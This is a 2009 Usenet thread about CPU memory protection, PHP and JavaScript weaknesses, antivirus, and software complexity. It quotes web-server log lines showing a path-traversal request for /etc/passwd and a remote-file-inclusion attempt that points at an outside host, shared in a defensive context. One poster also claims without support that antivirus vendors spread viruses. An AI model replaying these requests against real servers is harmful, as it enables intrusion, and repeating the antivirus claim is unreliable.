Re: Overview Of New Intel Core i7(Nehalem) Processor

> The key to stopping hackers and thieves will be software.

> > If x86 had serious i/d space separation,

It does.

and Microcrap used it,

Ah, that's a different matter.

all sorts of exploits would be impossible.

That still leaves a lot which are still possible. Particularly with so many interpreted languages, where data is code.

Security-wise, any shortcomings of the x86 are small beans compared to the abominations known as JavaScript and PHP.

Both of these languages have significant deficiencies, in spite of being targeted at novice programmers and a hostile environment, where you really need something which is both idiot-proof and evil-genius-proof.

Reply to
Nobody
Loading thread data ...

On a sunny day (Thu, 11 Jun 2009 05:06:02 +0100) it happened Nobody wrote in :

It is true, what you say, but I do believe 100% secure soft is not possible. Especially with evil 'geniuses'.

The whole thing has become a sort of trend, companies releasing ever new 'security updates' (it does not really even matter what language their stuff was written in), like Firefox, MS, Adobe, anyone.

It is like a house, first you brick the windows, bolt the doors, then they come through the sink, so you put a lock on that too. then the chimney... so you put a lid on that too, etc... it no longer, makes sense, and all the updates take to much time and slow things down, overload the net, etc.

So we need better enforcement, like you have police to keep guys from robbing the house. But .. nothing is enforced. Spammers still spam, zillions of websites are infected with all sorts of dubious scripts, worms and viruses even on DVDs with soft from reputable companies, botnets that nobody can even find out who control those.. And guess who is behind all that (no it is not paranoia showing), it is the anti-virus soft companies! Follow the money, it is THEM who have an interest in this. That is why I think people like Karpersky should be locked up, not given a reward as in Russia (well he probably works for the Putin club, so yes, I understand why they give him an award, but really, his releases of the DNS attacks did a hellofalot of harm and cost me hours of time).

So enforcement, if you want to take Internet serious for business. And enforcement in an intelligent way, not cutting people of because they shared some music files or something. Access to Internet has become essential in many ways in today's society, so get the bad guys.

In stead of building a concrete shell around your house (closing all holes like buffer overflows in your soft), make sure that what comes out of the DSL connection is clean. Now *how* to do that... I have no I idea, but I would start at the ani-virus companies... Maybe it would be a good idea if MS added ani-virus stuff internal to their soft, it would put those anti-virus companies that spread viruses to enhance their business out of business. That is my view.

Reply to
Jan Panteltje

True enough, but if a particular model of car only did 10mph, saying "well, you can't exceed the speed of light anyway" wouldn't be considered much in the way of mitigation.

Yeah, but PHP is like building the house from tissue paper. Getting "perfect" security is unrealistic. Doing better than PHP is somewhere between straightforward and "you would have to try really hard to do any worse".

Easier said than done. You could easily spend tens of millions of pounds/dollars/euros investigating and prosecuting a single case. That's if you can get the cooperation of all of the countries hosting the chain of compromised systems through which the attack was routed. And if you can get it fast enough, before the far end of the chain vanishes into the ether.

Anti-virus is a band-aid, treating the symptoms rather than the cause. The only reliable place to protect against an attack is within the program which is the target of the attack, as only it has all of the relevant information available.

E.g. trying to protect against HTML-based exploits (XSS, XSRF, etc) requires parsing the HTML the same way as the target will. If the AV parses it according to the W3C spec rather than what the browser uses, the mismatch allows someone to craft an attack which slips past the AV and works as intended on the target. If you don't know how the browser will parse it (and I very much suspect that even Microsoft couldn't tell you the exact syntax which any given version of IE will accept for any given construct), you're stuck crossing your fingers and hoping for the best.

A simple example of where implementing protection upstream fails is when web servers attempt to control which files can be accessed. You implement a list of filenames, and reject URLs which match. E.g. you prohibit access to /SecretFile.txt, so:

formatting link

fails. But:

formatting link

works fine. So you block that, but some versions of Windows allowed "..." as an alias for "../..", so:

formatting link

works. You block that as well, so the attacker uses the MSDOS 8.3 name:

formatting link

The first 2 years of IIS' life was one long game of whack-a-mole, with researchers discovering all of the different aliases for a file, and MS updating the checks to catch the aliases, before it eventually sunk in that any text-based comparison wasn't going to work, and they resolved both the requested filename and the names from the block list to check whether they were actually the same file.

Of course, that approach can only work on the host running the IIS server. There's no way an intermediate proxy can perform this check without access to the filesystem.

More generally, if you need to prohibit some kind of action, the most reliable way to do it is to place the check *immediately* before the action is carried out, so that you catch every possible alternative route.

[In some cases, it may be preferable to perform the check *afterwards*, as determining what has happened may be more reliable than predicting what will happen. E.g. once you've open()ed a file, fstat() will tell you what you really open()ed; lstat()ing it before the fact can be vulnerable to renaming or linking tricks.]

If you want to protect your posessions, securing the house is easier than securing the garden. Putting your valuables in a safe and securing that is easier still. Hence the notion of an "attack surface". The surface gets larger (and harder to protect) as you get further away from the ultimate target.

Reply to
Nobody

On a sunny day (Thu, 11 Jun 2009 20:09:48 +0100) it happened Nobody wrote in :

Well php is not that bad really, if you use it sparingly with bad things disabled.

Well, would cutting of a country from the global net because of violations, make them do something about it? That may not be in business interest, we need to sell.

I would protect at the gate, have the fence around the house so to speak, say firewall.

LOl, I see that in the logs almost every day, here is the latest real bad guy who tried that: 211.110.19.178 isama.net - - [16/May/2009:20:42:48 +0200] "GET /panteltje/newsflex/index.php?p=/../../../../../../../../etc/passwd HTTP/1.1"

404 887 211.110.19.178 isama.net - - [16/May/2009:20:42:48 +0200] "GET /index.php?p=/../../../../../../../../etc/passwd HTTP/1.1" 404 887

What I do (sort of automatically), results in this: grml: ~ # test-reject 211.110.19.178

-A INPUT -s 211.110.19.178 -j DROP

-A OUTPUT -s 211.110.19.178 -j REJECT --reject-with icmp-port-unreachable grml: ~ #

I have some special programs running and some scripts that find bad guys, also on DNS, as I also run a DNS server, and then fully automatically firewall that IP. I look in the log in the morning, sometimes there are false positives, then I allow that IP again, some people make mistakes when cutting and pasting a URL in the browser, but no this one: 218.91.210.100

formatting link
- - [05/Jun/2009:18:37:56 +0200] "GET /?_SERVER[DOCUMENT_ROOT]=http://87.119.200.140/include/template/templates_c/1.gif?/ HTTP/1.1" 200 2847 He gets this special message:
formatting link
and then is firewalled for ever.

Reply to
Jan Panteltje

I am by choice not an expert on x86 architecture, but isn't the "execute only" bit fairly new?

What are the x86 memory-management page attributes?

But interpreters - including pseudocode things - should be absolutely immune to exploits, or even hard crashes.

We live in the Dark Ages of computing.

John

Reply to
John Larkin

It's part of AMD's 64bit extensions.

Should are. There is still the possibility of buffer overruns as long as programs share the same memory as data.

Are you anticipating a renaissance?

Reply to
krw

Yes. The golden age was the days of DEC timesharing and Apple IIs, when mortals could understand an OS and write programs. The Dark Ages are the times of Intel, Microsoft, and a culture of complexity and incompetence. At some point in the future we'll have a renaissance, when things get simple and reliable again and computers are easy to use and program. It'll start to happen in another 10 years maybe.

I bet google will be involved.

John

Reply to
John Larkin

I surely don't see it. Programming is becoming less structured, not more.

Nothing but a politically active version of M$.

Reply to
krw

Cutting one country off from the rest of the world requires cooperation from the rest of the world; well, unless the country you're cutting off is your own.

Also, while the US media likes to hype the threat from Russia and China, cutting off Florida would do more good than either (or both) of those ;)

Reply to
Nobody

The "no execute" bit on pages is relatively recent, but you can achieve the same result by setting up segments appropriately. Put the code first, create an executable segment which only covers the code plus some headroom for libraries which are subsequently dlopen()ed. Put the heap and stack after that, and create a non-executable segment which covers the entire address space. You still get a flat address space[1], but you can't execute anything in the heap or stack. Page attributes prevent writing to the executable portion.

[1] Not that you really need one. You can implement all of the C standard and 99% of POSIX with disjoint address spaces for code and data. The remaining 1% is munmap().

There are other types of exploit beyond buffer overruns. Interpreted languages are (or should be) immune to those, but they're often quite prone to injection attacks (particularly "scripting" languages which like to "eval" strings constructed by the program).

They're also quite prone to DoS attacks. If a C program reads a line of data which turns out to be a couple of gigabytes, you might get a buffer overrun but it's not rocket science to perform a bounds check. If an interpreted language gets the same data, it will typically just keep dynamically resizing the buffer until the process (or even the system) dies from memory starvation. Oh sure, the getline() function will have a max_len argument, but it will be optional and everyone will just use the default setting of "no limit".

I find the term "interesting times" quite apt.

Reply to
Nobody

On a sunny day (Thu, 11 Jun 2009 19:32:41 -0700) it happened John Larkin wrote in :

HAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHA Apple 2, just looking at it made me worry about sanity of people at Apple. And even more of the people using it.

Sorry for you, but the world has this tendency to more complexity, that is how evolution worked (if you are not in Texas), from simple one celled life to complex forms like you LOL ;-)

So, it will only become more complex, software too.

I was thinking last night that maybe we will have programming systems that just understand normal languages, like English. Then I remembered I had seen some announcement many years ago for a programming system like that. Never heard of it again. Then I thought "Not surprising, considering how chaotic many people think". The art of programming is mainly to analyse a problem so you can formulate what needs to be done step by step. Once you know what needs to be done to do each step, then you can also write the code. The language is highly irrelevant, you can even use machine code if you must. I wrote my first EPROM programmer with zeros and ones in machine code, no assembler see.

First there were tubes, then there were transistors, then some transistors in an integrated chip, then 'MSI', then 'LSI', then complete micro controllers + FLASH memory, complete FPGAs + FLASH, complete small computers with lots of RAM and all sorts of interfaces using advanced OSses like Linux, so next will be: Networks of these things, we are seeing the multi cores appearing like daisies in this time of year, you liked them so much, virtualisers running more then one highly complex OS on the same chip. If you think it will get simpler do a check for Alzheimer perhaps.

Reply to
Jan Panteltje

Long before that happens, cloud based computing will defeat all your ideas about it.

AT the hardware level, look to The Cell.

Reply to
ItsASecretDummy

Google has a great sense of fun, and code a lot better than Microsoft. And they seem to understand that the best long-term business strategy is to have people like you.

John

Reply to
John Larkin

Cars and airplanes and TV sets are much more complex that they used to be. And they work better, are more reliable, and are safer. When's the last time you had to clean sparkplugs or file and gap points?

Complexity is useful if it's disciplined. A lot of products now, especially software, are grossly imbalanced: more complexity than control. I think that will change as things mature.

There was am interesting pattern when affordable plastic-packaged 7400 series TTL was introduced: there was a surge of really bad, complex, haywire, asynchronous, overheating, noisy logic design. After a few years, people settled down and started doing more disciplined design. Most software is still in the asynchronous, haywire mode.

That would be great for "popular" computing. But serious (critical) apps will still need mathematical, disciplined, unambiguous languages. C isn't one.

system like that.

the code.

assembler see.

Some languages encourage risk.

an integrated

of interfaces

in

My designs now use FPGAs, hundred megasample adc and dacs, uPs, ethernet, 8 layer boards with BGAs, chopper amps, lasers, exotic filters. And they are at heart better organized and certainly more reliable than "simpler" stuff I did 20 years ago. Visually, they certainly look more organized. They tend to work, quickly, the first pass, too, even though they are far more complex than things we used to do. We can now afford to throw complexity at problems and buy predictability. Would a FIFO help? A digital filter, or a numerical calibration and linearization routine? No problem.

Better parts and tools should allow you to build better organized and more reliable products, not the reverse. Software mostly still operates in the immature reverse mode, where added tools make things more complex and less reliable, and programmers less productive. This is, I hope, a phase that they'll outgrow.

John

Reply to
John Larkin

The cloud doesn't help if it's hacked by the same hacks. Early cloud apps will be coded by the best programmers; as volume increases, the usual crowd of hacks will move in.

Cell won't make it, regretfully. x86 is increasingly dominant.

Multicore ARM is the dark horse in this race.

John

Reply to
John Larkin

On a sunny day (Fri, 12 Jun 2009 09:01:58 -0700) it happened John Larkin wrote in :

Well, as discussed here, a few month back.

I completely fal to see your argument here. 'asynchronous' and 'haywire', et me ask a direct question, although I think I knwo teh answere: When is teh last time yo uwrote a big program for something tha tdid not yet exist YOURSELF? Because I think if you ever did, you would not talk like this. Am I right? It seems so silly to time and time again insult programmers and programs you can get the same 'expert' advice in any bar close before cloing time.

See, tha tis wha tI mean, yo udo not knwo C, and yet yo uhave more opinions about it then me, and I have used it since the eigties o na daily basis.

programming system like that.

the code.

assembler see.

And so does hardware design! How many transistors have ended up in smoke in labs I dunno, but I think lot. And houses have burned down because of bad hardware, recalls of stuf flike TVs have happened.

an integrated

sorts of interfaces

in

calibration and linearization routine? No problem.

So now yoy uare contradictin gyourself, as yo uwre arguing things were getting simpler. To argue for teh sake of arguing may help your writing skills, but it does look silly.

Here we go again. Why not learn to program.

Tools? Wha ttools? Do yo uwant to write in machine code? Or use a Power BASIC, or some otehr compiler? Or an assembler? See, you are just chaotically making statements. The reason could be:

1) Alsheimer 2) You need the opportunity to say how good your products are. 3) You are disappointed with life and especuilly software.

Look, I do no tdisagree that for example some IT departments are self-sustaining clubs jus ttrying to prop up their own image with bloat. I do not disagree that website creators thse days are often kids that just want to try the latest FLASH or whatever on YOU. And that MS creates bloatware... what once was an OS has become a purpose in itself,, OTOH they provide a lot of free programs with tha tOS too, from browser to video editing stuff.

Because we are workin gwith highly complex systems, lik a for example the tvideo editor, yo uneed rather complex software to deal with all the issues. Why not look at the (C) source of mplayer, of ffmpeg codec, it may change you 'vision' on software. And if yo uthen write your own little program, you could use wha tyo uhave learned to add some extra functionaily tha tactully yo ucustomers wou lappreciate otehr then having to construct - and send single RS232 commands.

The whole world has larger databases then 500 chips in .. BASIC, think airlines for example...

singe RS232 commands

Reply to
Jan Panteltje

This, every line of it:

formatting link

And I did the product definition, the schematic design, the manual, the test procedure, the PC-resident test/cal program, and the embedded code. I negotiated the FPGA architecture but didn't drive the Xilinx software myself. Zero bugs in the code. No prototype, and we shipped the first-etch Rev A boards.

No.

I don't like bad products, and there's tons of really bad software around. As a science and a practice, software is immature and erratic. Big software projects fail as often as they succeed, and seldom come in on schedule or within budget.

Google "software project failure." If you find the results offensive, don't blame me.

programming system like that.

the code.

assembler see.

labs I dunno, but I think lot.

have happened.

an integrated

sorts of interfaces

daisies in

simpler.

silly.

I've probably written a million lines of code in my life.

John

Reply to
John Larkin

That's worse than dipping a PCB in hot solvent!

One BURNISHES points. One NEVER "files" points.

Starting out in this industry on 1940's and 1950's series pinball machines will teach you a lot about oxidation. Now, all the voltages are low, and they fire SCRs which fire the bumper solenoid. The switches themselves used to carry that load. Points degraded rather quickly.

One used to file plug gaps (though using a tool is better), but not since platinum center pins. Points? Never.

Reply to
Capt. Cave Man

Authentication procedures will be different. You are grasping at straws, and guessing at how you think it is or will be, when you actually have don no research on the matter at all.

Yes, it will. It is regretful that you are so far out of the loop that you cannot see very deeply into the forest whatsoever, and the problem isn't the trees.

No. It has maintained a pretty even keel for a pretty long time.

ARM has been around a long time, and it will get used as it is in appliances etc. Even a hundred core ARM would fall flat in a PC because it would need a new OS behind it.

Cell is a PPC and it runs Linux... quite WELL. The ARM may run a linux port, but it has nowhere near the feature set that the Cell does. Then, there is the speed thing. Cell wins, hands down. So a multi-core cell is more likely than an ARM implementation at the desktop PC/minicomputer level.

Reply to
ItsASecretDummy

Apple dumped PPC for x86. Sad but true.

John

Reply to
John Larkin

ElectronDepot website is not affiliated with any of the manufacturers or service providers discussed here. All logos and trade names are the property of their respective owners.